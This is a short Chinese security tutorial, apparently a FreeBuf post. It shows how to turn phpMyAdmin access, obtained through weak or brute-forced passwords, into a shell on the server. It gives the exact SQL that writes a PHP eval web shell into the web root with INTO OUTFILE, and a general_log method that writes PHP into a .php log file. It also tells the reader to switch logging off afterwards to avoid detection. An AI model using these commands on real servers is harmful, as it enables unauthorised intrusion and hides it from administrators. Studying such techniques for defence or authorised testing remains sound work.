小呆呀
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

0x01条件:
首先得知道phpmyadmin的用户名和密码。可以通过弱口令或者爆破工具拿到用户名和密码
这种方式拿到shell有两种方式。
如果对方服务器的数据库版本低于5.0的时候。我们可以通过outfile直接写入文件
如果对方服务器的数据库版本高于5.0的时候。我们可以尝试通过日志写入文件。当然这种情况需要有文件写入的权限。
0x02步骤:
低于:5.0的情况
Phpmyadmin后台权限到主机权限(getshell)outfille方式
通过弱口令等方式进入后台界面,并找到sql查询界面
查询secure相关配置 show GLOBAL VARIABLES like "secure%";
在mysql的目录下找到 my.ini文件 并在[mysqld]配置项加入 secure_file_priv= 保存后并重启数据库
Secure_file_priv参数解释:
- 当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
- 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
- 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
再次查看secure相关配置 是否正确变更
使用命令写入恶意文件 注意斜杠 “\”这是反斜杠要写两个相当于一个 “/”这是斜杠,一个就够了
SELECT "<?php @eval($_POST[pass]); ?>" into outfile "d:\\phpstudy_pro\\www\\bear.php";
成功写入 验证恶意木马文件
高于5.0的情况:
注意这些命令都在phpamdin中执行。这里知识方便理解。
Show global variables like "general%";//这里我们查询general_log的配置。为我们之后做好准备
Set global general_log="on";//开启这个功能
Set global general_log_file="D://phpstudy//www//shell.php";
Select "<?php phpinfo(); ?>";//将phpinfo()写入日志
Set global general_log="off";//关闭这个功能,防止被发现。
最后就是去测试了。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
